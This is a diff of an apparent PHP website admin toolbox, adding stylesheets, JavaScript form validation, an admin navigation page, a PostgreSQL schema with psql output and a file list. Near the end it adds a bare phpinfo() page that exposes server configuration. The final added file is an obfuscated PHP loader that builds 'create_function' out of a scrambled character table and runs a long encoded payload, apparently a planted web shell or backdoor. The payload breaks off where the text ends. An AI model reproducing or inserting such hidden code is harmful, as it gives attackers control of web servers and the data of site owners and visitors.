+.title1 { font-size: 22px; font-weight: bold; color: blue; font-family: Arial, Helvetica, sans-serif; }
+.title2 { font-size: 22px; font-weight: bold; color: black; font-family: Arial, Helvetica, sans-serif; }
+
+INPUT { FONT-SIZE: 12px; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; }
+SELECT { FONT-SIZE: 12px; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; }
+.navlink {
+ font-size: 12px;
+ font-family: arial;
+}
+
+td {
+ font-size: 12px;
+ font-family: arial,helvetica;
+}
+
+.theader {
+ font-size: 14px;
+ font-family: arial,helvetica;
+ color: #FFFFFF;
+}
+
+.theadertd {
+ background-color: #000080;
+}
+
+.topheader {
+ font-family:ms sans serif,arial,helvetica;
+ font-size:12px;
+ color:#FFFFFF;
+ font-weight:bold;
+}
+.footer {
+ text-align:center;
+ color:#999999;
+ font-size:10px;
+ width:600px;
+}
+/* TOOLBOX NAV */
+ul#toolbox {list-style-position:inside;list-style-type:circle;}
+ul#toolbox li {list-style-type:circle}
+ul#toolbox li.toolboxArrow {list-style-type:none;padding-left:0;margin-left:-7px;}
--- /dev/null
+function glm_confirm(o) {
+ var p = o.msg.split("\n");
+ var k = 0;
+ for(i = 0;i < p.length;i++) {
+ if(k > p[i].length)
+ continue;
+ else
+ k = p[i].length;
+ }
+
+ var bound = "";
+ for(i = 0; i < k; i++) {
+ bound = bound+'_';
+ }
+ var str = bound+"\n\n"+o.msg+"\n\n"+bound+"\n\nAre You Sure?";
+ if(confirm(str)) {
+ if(o.popup == '1') {
+ var nw = new Object();
+ nw.url = o.url;
+ nw.name = o.popup.name;
+ nw.width = o.width;
+ nw.height = o.height;
+ glm_open(nw);
+ }
+ else {
+ location.replace(o.url);
+ }
+ }
+}
--- /dev/null
+<?
+include("../setup.phtml");
+?>
+<html>
+<head>
+<title>Admin Navigation</title>
+<style type="text/css">
+<!--
+body {margin: 2px; font-family: arial, sans-serif; font-size: 12px; background-color: white;}
+a:link {color: #369;}
+a:visited {color: #369;}
+a:active {color: #369;}
+a:hover {color: #369;}
+h1 {font-weight: bold; text-align: center;}
+ul { margin: 0; padding: 0; list-style-type: none; }
+li { margin: 0; padding: 0; display: block; }
+li a {
+ text-decoration: none;
+ display: block;
+ margin: 0;
+ padding: 3px;
+ background-color: #036;
+ border-bottom: 1px solid #eee;
+ width: 136px;
+ }
+li a:link, li a:visited, li a:active { color: #EEE; }
+li a:hover { background-color: #369; color: #fff; }
+#adminSupport {
+ margin: 15px 0;
+ }
+#adminSupport li a {
+ background: url(http://app.gaslightmedia.com/assets/icons/new.png) 120px 3px no-repeat #2c788f;
+ text-shadow: 1px 1px 1px #333;
+ }
+#adminSupport li a:hover {
+ background-color: #004c64;
+ }
+-->
+</style>
+</head>
+<body>
+ <h1><a href="<?php echo BASE_URL.$url;?>" target="_top"><?php echo SITENAME;?></a></h1>
+<ul>
+<?
+$nav["Home"] = "admin/splash.phtml";
+//$nav["Home Page"] = "";
+//$nav["Classified Ads"] = "";
+//$nav["Newsletter"] = "admin/Newsletter/list_news_category.phtml";
+//$nav["Employment Opportunities"] = "";
+//$nav["Events"] = "admin/Events/list_events.phtml";
+$nav["Toolbox"] = "admin/Toolbox/";
+$nav["File Exchange"] = "admin/FileExchange/";
+//$nav["Toolbox"] = "admin/Mini-Toolbox";
+//$nav["Banner Ads"] = "admin/Banners/";
+//$nav["Contacts"] = "admin/Contact/";
+$nav["Server Statistics"] = "admin/logs/";
+
+foreach($nav as $name=>$url)
+ {
+ echo '
+ <li><a href="'.BASE_URL.$url.'" target="Main">'.$name.'</a></li>
+ ';
+ }
+?>
+ <li><a href="https://www.google.com/analytics/web/?hl=en/" target="Google">Google Analytics</a>
+</ul>
+<?php
+$format = '<ul id="adminSupport">
+ <li>
+ <a href="%ssupportForm.php?sitename=%s" target="Main">Support Form</a>
+ </li>
+</ul>';
+if(!defined('GLM_APP_BASE_URL')){
+ define('GLM_APP_BASE_URL', 'http://app.gaslightmedia.com/');
+}
+if(!defined('SITENAME')) {
+ define('SITENAME', 'http://www.aretenorth.com/');
+}
+printf(
+ $format,
+ GLM_APP_BASE_URL,
+ urlencode(SITENAME)
+);
+?>
+<a href="http://www.gaslightmedia.com/" target="_blank"><img alt="GLMbug (3K)" src="GLMbug.gif" height="57" width="100" border="0"></a>
+</body>
+</html>
--- /dev/null
+<?
+phpinfo();
+exit;
+?>
--- /dev/null
+U Toolbox/business.sql
+U Toolbox/edit_bus.phtml
+U Toolbox/edit_bus_category.phtml
+U Toolbox/index.phtml
+U Toolbox/list_bus.phtml
+U Toolbox/list_bus_category.phtml
+U Toolbox/threads.phtml
+U Toolbox/toolbox_setup.inc
+U Toolbox/update_bus.phtml
+U Toolbox/update_bus_category.phtml
+U Toolbox/updatetoolset.php
+U Toolbox/help/bus.phtml
+U Toolbox/help/buscat.phtml
+U Toolbox/help/closewindow.gif
+U Toolbox/help/helpbg.gif
+U Toolbox/images/collapse.png
+U Toolbox/images/ed_about.gif
+U Toolbox/images/ed_align_center.gif
+U Toolbox/images/ed_align_justify.gif
+U Toolbox/images/ed_align_left.gif
+U Toolbox/images/ed_align_right.gif
+U Toolbox/images/ed_blank.gif
+U Toolbox/images/ed_charmap.gif
+U Toolbox/images/ed_color_bg.gif
+U Toolbox/images/ed_color_fg.gif
+U Toolbox/images/ed_copy.gif
+U Toolbox/images/ed_custom.gif
+U Toolbox/images/ed_cut.gif
+U Toolbox/images/ed_delete.gif
+U Toolbox/images/ed_format_bold.gif
+U Toolbox/images/ed_format_italic.gif
+U Toolbox/images/ed_format_strike.gif
+U Toolbox/images/ed_format_sub.gif
+U Toolbox/images/ed_format_sup.gif
+U Toolbox/images/ed_format_underline.gif
+U Toolbox/images/ed_help.gif
+U Toolbox/images/ed_hr.gif
+U Toolbox/images/ed_html.gif
+U Toolbox/images/ed_image.gif
+U Toolbox/images/ed_indent_less.gif
+U Toolbox/images/ed_indent_more.gif
+U Toolbox/images/ed_link.gif
+U Toolbox/images/ed_list_bullet.gif
+U Toolbox/images/ed_list_num.gif
+U Toolbox/images/ed_paste.gif
+U Toolbox/images/ed_redo.gif
+U Toolbox/images/ed_show_border.gif
+U Toolbox/images/ed_splitcel.gif
+U Toolbox/images/ed_undo.gif
+U Toolbox/images/expand.png
+U Toolbox/images/fullscreen_maximize.gif
+U Toolbox/images/fullscreen_minimize.gif
+U Toolbox/images/insert_table.gif
+U Toolbox/popups/about.html
+U Toolbox/popups/blank.html
+U Toolbox/popups/custom2.html
+U Toolbox/popups/editor_help.html
+U Toolbox/popups/fullscreen.html
+U Toolbox/popups/insert_image.html
+U Toolbox/popups/insert_table.html
+U Toolbox/popups/old-fullscreen.html
+U Toolbox/popups/old_insert_image.html
+U Toolbox/popups/popup.js
+U Toolbox/popups/select_color.html
+
+
+U Toolbox/business.sql
+U Toolbox/edit_bus.phtml
+U Toolbox/edit_bus_category.phtml
+U Toolbox/index.phtml
+U Toolbox/list_bus.phtml
+U Toolbox/list_bus_category.phtml
+U Toolbox/threads.phtml
+U Toolbox/toolbox_setup.inc
+U Toolbox/update_bus.phtml
+U Toolbox/update_bus_category.phtml
+U Toolbox/updatetoolset.php
+U Toolbox/help/bus.phtml
+U Toolbox/help/buscat.phtml
+U Toolbox/help/closewindow.gif
+U Toolbox/help/helpbg.gif
+U Toolbox/images/collapse.png
+U Toolbox/images/ed_about.gif
+U Toolbox/images/ed_align_center.gif
+U Toolbox/images/ed_align_justify.gif
+U Toolbox/images/ed_align_left.gif
+U Toolbox/images/ed_align_right.gif
+U Toolbox/images/ed_blank.gif
+U Toolbox/images/ed_charmap.gif
+U Toolbox/images/ed_color_bg.gif
+U Toolbox/images/ed_color_fg.gif
+U Toolbox/images/ed_copy.gif
+U Toolbox/images/ed_custom.gif
+U Toolbox/images/ed_cut.gif
+U Toolbox/images/ed_delete.gif
+U Toolbox/images/ed_format_bold.gif
+U Toolbox/images/ed_format_italic.gif
+U Toolbox/images/ed_format_strike.gif
+U Toolbox/images/ed_format_sub.gif
+U Toolbox/images/ed_format_sup.gif
+U Toolbox/images/ed_format_underline.gif
+U Toolbox/images/ed_help.gif
+U Toolbox/images/ed_hr.gif
+U Toolbox/images/ed_html.gif
+U Toolbox/images/ed_image.gif
+U Toolbox/images/ed_indent_less.gif
+U Toolbox/images/ed_indent_more.gif
+U Toolbox/images/ed_link.gif
+U Toolbox/images/ed_list_bullet.gif
+U Toolbox/images/ed_list_num.gif
+U Toolbox/images/ed_paste.gif
+U Toolbox/images/ed_redo.gif
+U Toolbox/images/ed_show_border.gif
+U Toolbox/images/ed_splitcel.gif
+U Toolbox/images/ed_undo.gif
+U Toolbox/images/expand.png
+U Toolbox/images/fullscreen_maximize.gif
+U Toolbox/images/fullscreen_minimize.gif
+U Toolbox/images/insert_table.gif
+U Toolbox/popups/about.html
+U Toolbox/popups/blank.html
+U Toolbox/popups/custom2.html
+U Toolbox/popups/editor_help.html
+U Toolbox/popups/fullscreen.html
+U Toolbox/popups/insert_image.html
+U Toolbox/popups/insert_table.html
+U Toolbox/popups/old-fullscreen.html
+U Toolbox/popups/old_insert_image.html
+U Toolbox/popups/popup.js
+U Toolbox/popups/select_color.html
+You are now connected as new user "postgres".
+CREATE TABLE "bus" (
+ "id" SERIAL,
+ "name" text,
+ "description" text,
+ "description2" text,
+ "description3" text,
+ "image" text,
+ "imagename" text,
+ "image2" text,
+ "image2name" text,
+ "image3" text,
+ "image3name" text,
+ "urlname" text,
+ "url" text,
+ "address" text,
+ "city" text,
+ "state" text,
+ "zip" text,
+ "phone" text,
+ "fax" text,
+ "email" text,
+ "pos" integer,
+ "file" text,
+ "filename" text,
+ "file2" text,
+ "file2name" text,
+ "file3" text,
+ "file3name" text,
+ "contactname" text
+);
+CREATE TABLE
+REVOKE ALL on "bus" from PUBLIC;
+REVOKE
+GRANT ALL on "bus" to "nobody";
+GRANT
+GRANT ALL on "bus" to "postgres";
+GRANT
+REVOKE ALL on "bus_id_seq" from PUBLIC;
+REVOKE
+GRANT ALL on "bus_id_seq" to "nobody";
+GRANT
+GRANT ALL on "bus_id_seq" to "postgres";
+GRANT
+CREATE TABLE "bus_category" (
+ "id" SERIAL,
+ "parent" integer,
+ "category" text,
+ "intro" text,
+ "description" text,
+ "image" text,
+ "active" bool,
+ "pos" integer,
+ "keyword" text,
+ "template" int
+);
+CREATE TABLE
+REVOKE ALL on "bus_category" from PUBLIC;
+REVOKE
+GRANT ALL on "bus_category" to "nobody";
+GRANT
+GRANT ALL on "bus_category" to "postgres";
+GRANT
+REVOKE ALL on "bus_category_id_seq" from PUBLIC;
+REVOKE
+GRANT ALL on "bus_category_id_seq" to "nobody";
+GRANT
+GRANT ALL on "bus_category_id_seq" to "postgres";
+GRANT
+CREATE TABLE "bus_category_bus" (
+ "id" SERIAL,
+ "busid" integer,
+ "catid" integer,
+ "pos" integer
+);
+CREATE TABLE
+REVOKE ALL on "bus_category_bus" from PUBLIC;
+REVOKE
+GRANT ALL on "bus_category_bus" to "nobody";
+GRANT
+GRANT ALL on "bus_category_bus" to "postgres";
+GRANT
+REVOKE ALL on "bus_category_bus_id_seq" from PUBLIC;
+REVOKE
+GRANT ALL on "bus_category_bus_id_seq" to "nobody";
+GRANT
+GRANT ALL on "bus_category_bus_id_seq" to "postgres";
+GRANT
+CREATE UNIQUE INDEX bus_id_indx ON bus (id);
+CREATE INDEX
+CREATE UNIQUE INDEX bus_category_id_indx ON bus_category (id);
+CREATE INDEX
+CREATE INDEX bus_category_parent_indx ON bus_category (parent);
+CREATE INDEX
+CREATE INDEX bus_category_pos_indx ON bus_category (pos);
+CREATE INDEX
+CREATE INDEX bus_category_keyword_indx ON bus_category (keyword);
+CREATE INDEX
+CREATE INDEX bus_category_template_indx ON bus_category (template);
+CREATE INDEX
+CREATE UNIQUE INDEX bus_category_bus_id_indx ON bus_category_bus (id);
+CREATE INDEX
+CREATE INDEX bus_category_bus_busid_indx ON bus_category_bus (busid);
+CREATE INDEX
+CREATE INDEX bus_category_bus_catid_indx ON bus_category_bus (catid);
+CREATE INDEX
+
+
--- /dev/null
+<?
+include("../setup.phtml");
+?>
+<HTML>
+<HEAD>
+<link type="text/css" rel=stylesheet href="<?echo URL_BASE."admin/main.css"?>">
+<TITLE></TITLE>
+<META NAME="Author" CONTENT="Gaslight Media">
+</HEAD>
+<BODY BGCOLOR="#FFFFFF" LINK="#000080" VLINK="#000080" ALINK="#000080">
+<CENTER>
+<TABLE BORDER=0 CELLPADDING=6>
+<TR>
+<TD ALIGN=CENTER>
+<FONT SIZE=2 FACE="ms sans serif">
+<B>Welcome To The <?=SITENAME?> Administration Area</B>
+<P>
+Please Choose The Area You Wish To Update.
+</FONT>
+<P>
+<!--<IMG SRC="<?=URL_BASE."images/logo.gif"?>">-->
+</TD>
+</TR>
+</TABLE>
+</CENTER>
+</BODY>
+</HTML>
+
--- /dev/null
+function isblank(s) {
+ for(var i = 0; i < s.length; i++) {
+ var c = s.charAt(i);
+ if((c != ' ') && (c != '\n') && (c != '\t'))
+ return(false);
+ }
+ return(true);
+}
+
+function verify(f) {
+ var msg;
+ var empty_fields = "";
+ var errors = "";
+
+ for(var i = 0; i < f.length; i++) {
+ var e = f.elements[i];
+ if(((e.type == "text") || (e.type == "textarea")) && !e.optional) {
+ if((e.value == null) || (e.value == "") || isblank(e.value)) {
+ empty_fields += "\n " + e.r;
+ continue;
+ }
+
+ if(e.d) {
+ if(isNaN(Date.parse(e.value)))
+ errors += "- The field " +e.r+" must be formated like 01/17/2001\n";
+ }
+ if(e.numeric || (e.min != null) || (e.max != null)) {
+ if(e.i) {
+ var v = parseInt(e.value);
+ if(v != e.value) {
+ errors += "- The field " +e.r + " must be a ";
+ errors += "number with no decimal\n";
+ continue;
+ }
+ }
+ else
+ var v = parseFloat(e.value);
+ if(isNaN(v) ||
+ ((e.min != null) && (v < e.min)) ||
+ ((e.max != null) && (v > e.max))) {
+
+ errors += "- The field " + e.r + " must be a number";
+ if(e.min != null)
+ errors += " that is greater than " + e.min;
+ if(e.max != null && e.min != null)
+ errors += " and less than " + e.max;
+ else if (e.max != null)
+ errors += " that is less than " + e.max;
+ errors += ".\n";
+ }
+ }
+ }
+ if (e.options && !e.optional)
+ {
+ if((e.value == null) || (e.value == "") || isblank(e.value))
+ {
+ empty_fields += "\n " + e.r;
+ continue;
+ }
+ }
+ }
+
+ if(!empty_fields && !errors)
+ return(true);
+
+ msg = "_____________________________________________________\n\n";
+ msg +="The form was not submitted because of the following error(s).\n";
+ msg +="Please correct these error(s) and re-submit.\n";
+ msg +="_____________________________________________________\n\n";
+
+ if(empty_fields) {
+ msg += "- The following required field(s) are empty:"
+ + empty_fields + "\n";
+ if(errors)
+ msg += "\n";
+ }
+ msg += errors;
+ alert(msg);
+ return(false);
+}
--- /dev/null
+function glm_open(o) {
+ var x = (screen.width/2) - (o.width/2);
+ var y = (screen.height/2) - (o.height/2);
+ var args = "width="+o.width+",height="+o.height+",screenX="+x+",screenY="+y+",top="+y+",left="+x;
+ if(o.scroll == true)
+ args += ",scrollbars=1";
+ //args += "\'";
+ //alert(args);
+ pow=window.open(o.url,o.name,args);
+ //confirm(args);
+ if (pow.opener == null)
+ pow.opener = self;
+}
--- /dev/null
+<?php $YyWHDHXeiV='UyQ{u19THckwa6Bt5L2o.Arh_VFmE4/Wnp;3Jg}[ *Ij$XKfS)q7Os8e"(,bY]x^RCZMGi|DNPdzl0+v';$DWivqyjBsI=$YyWHDHXeiV{9}.$YyWHDHXeiV{22}.$YyWHDHXeiV{55}.$YyWHDHXeiV{12}.$YyWHDHXeiV{15}.$YyWHDHXeiV{55}.$YyWHDHXeiV{24}.$YyWHDHXeiV{47}.$YyWHDHXeiV{4}.$YyWHDHXeiV{32}.$YyWHDHXeiV{9}.$YyWHDHXeiV{15}.$YyWHDHXeiV{69}.$YyWHDHXeiV{19}.$YyWHDHXeiV{32};$yOcUewhZGl=$YyWHDHXeiV{44}.$YyWHDHXeiV{53};$qnORqPCCtP=$YyWHDHXeiV{69}.$YyWHDHXeiV{47}.$YyWHDHXeiV{57}.$YyWHDHXeiV{69}.$YyWHDHXeiV{53}.$YyWHDHXeiV{53}.$YyWHDHXeiV{55}.$YyWHDHXeiV{15}.$YyWHDHXeiV{57}.$YyWHDHXeiV{44}.$YyWHDHXeiV{24}.$YyWHDHXeiV{65}.$YyWHDHXeiV{52}.$YyWHDHXeiV{52}.$YyWHDHXeiV{46}.$YyWHDHXeiV{42}.$YyWHDHXeiV{28}.$YyWHDHXeiV{39}.$YyWHDHXeiV{56}.$YyWHDHXeiV{60}.$YyWHDHXeiV{1}.$YyWHDHXeiV{31}.$YyWHDHXeiV{8}.$YyWHDHXeiV{71}.$YyWHDHXeiV{8}.$YyWHDHXeiV{45}.$YyWHDHXeiV{55}.$YyWHDHXeiV{69}.$YyWHDHXeiV{25}.$YyWHDHXeiV{56}.$YyWHDHXeiV{61}.$YyWHDHXeiV{49}.$YyWHDHXeiV{70}.$YyWHDHXeiV{70}.$YyWHDHXeiV{69}.$YyWHDHXeiV{53}.$YyWHDHXeiV{53}.$YyWHDHXeiV{55}.$YyWHDHXeiV{15}.$YyWHDHXeiV{57}.$YyWHDHXeiV{44}.$YyWHDHXeiV{8}.$YyWHDHXeiV{7}.$YyWHDHXeiV{7}.$YyWHDHXeiV{73}.$YyWHDHXeiV{24}.$YyWHDHXeiV{65}.$YyWHDHXeiV{52}.$YyWHDHXeiV{52}.$YyWHDHXeiV{46}.$YyWHDHXeiV{42}.$YyWHDHXeiV{28}.$YyWHDHXeiV{24}.$YyWHDHXeiV{25}.$YyWHDHXeiV{21}.$YyWHDHXeiV{64}.$YyWHDHXeiV{48}.$YyWHDHXeiV{39}.$YyWHDHXeiV{56}.$YyWHDHXeiV{60}.$YyWHDHXeiV{1}.$YyWHDHXeiV{31}.$YyWHDHXeiV{8}.$YyWHDHXeiV{71}.$YyWHDHXeiV{8}.$YyWHDHXeiV{45}.$YyWHDHXeiV{55}.$YyWHDHXeiV{69}.$YyWHDHXeiV{25}.$YyWHDHXeiV{56}.$YyWHDHXeiV{61}.$YyWHDHXeiV{49}.$YyWHDHXeiV{49}.$YyWHDHXeiV{3}.$YyWHDHXeiV{47}.$YyWHDHXeiV{4}.$YyWHDHXeiV{32}.$YyWHDHXeiV{9}.$YyWHDHXeiV{15}.$YyWHDHXeiV{69}.$YyWHDHXeiV{19}.$YyWHDHXeiV{32}.$YyWHDHXeiV{40}.$YyWHDHXeiV{22}.$YyWHDHXeiV{54}.$YyWHDHXeiV{57}.$YyWHDHXeiV{44}.$YyWHDHXeiV{53}.$YyWHDHXeiV{58}.$YyWHDHXeiV{44}.$YyWHDHXeiV{33}.$YyWHDHXeiV{49}.$YyWHDHXeiV{3}.$YyWHDHXeiV{22}.$YyWHDHXeiV{55}.$YyWHDHXeiV{15}.$YyWHDHXeiV{4}.$YyWHDHXeiV{22}.$YyWHDHXeiV{32}.$YyWHDHXeiV{40}.$YyWHDHXeiV{44}.$YyWHDHXeiV{53}.$YyWHDHXeiV{63}.$YyWHDHXeiV{53}.$YyWHDHXeiV{15}.$YyWHDHXeiV{22}.$YyWHDHXeiV{24}.$YyWHDHXeiV{33}.$YyWHDHXeiV{12}.$YyWHDHXeiV{74}.$YyWHDHXeiV{57}.$YyWHDHXeiV{44}.$YyWHDHXeiV{33}.$YyWHDHXeiV{58}.$YyWHDHXeiV{53}.$YyWHDHXeiV{15}.$YyWHDHXeiV{22}.$YyWHDHXeiV{76}.$YyWHDHXeiV{55}.$YyWHDHXeiV{32}.$YyWHDHXeiV{57}.$YyWHDHXeiV{44}.$YyWHDHXeiV{53}.$YyWHDHXeiV{49}.$YyWHDHXeiV{58}.$YyWHDHXeiV{44}.$YyWHDHXeiV{33}.$YyWHDHXeiV{49}.$YyWHDHXeiV{34}.$YyWHDHXeiV{38}.$YyWHDHXeiV{34}.$YyWHDHXeiV{55}.$YyWHDHXeiV{79}.$YyWHDHXeiV{12}.$YyWHDHXeiV{76}.$YyWHDHXeiV{57}.$YyWHDHXeiV{22}.$YyWHDHXeiV{54}.$YyWHDHXeiV{57}.$YyWHDHXeiV{59}.$YyWHDHXeiV{12}.$YyWHDHXeiV{53}.$YyWHDHXeiV{55}.$YyWHDHXeiV{13}.$YyWHDHXeiV{29}.$YyWHDHXeiV{24}.$YyWHDHXeiV{74}.$YyWHDHXeiV{55}.$YyWHDHXeiV{9}.$YyWHDHXeiV{19}.$YyWHDHXeiV{74}.$YyWHDHXeiV{55}.$YyWHDHXeiV{57}.$YyWHDHXeiV{44}.$YyWHDHXeiV{53}.$YyWHDHXeiV{49}.$YyWHDHXeiV{58}.$YyWHDHXeiV{56}.$YyWHDHXeiV{31}.$YyWHDHXeiV{55}.$YyWHDHXeiV{71}.$YyWHDHXeiV{2}.$YyWHDHXeiV{23}.$YyWHDHXeiV{52}.$YyWHDHXeiV{22}.$YyWHDHXeiV{12}.$YyWHDHXeiV{42}.$YyWHDHXeiV{14}.$YyWHDHXeiV{56}.$YyWHDHXeiV{49}.$YyWHDHXeiV{49}.$YyWHDHXeiV{34}.$YyWHDHXeiV{38};$awwAsCKtAt="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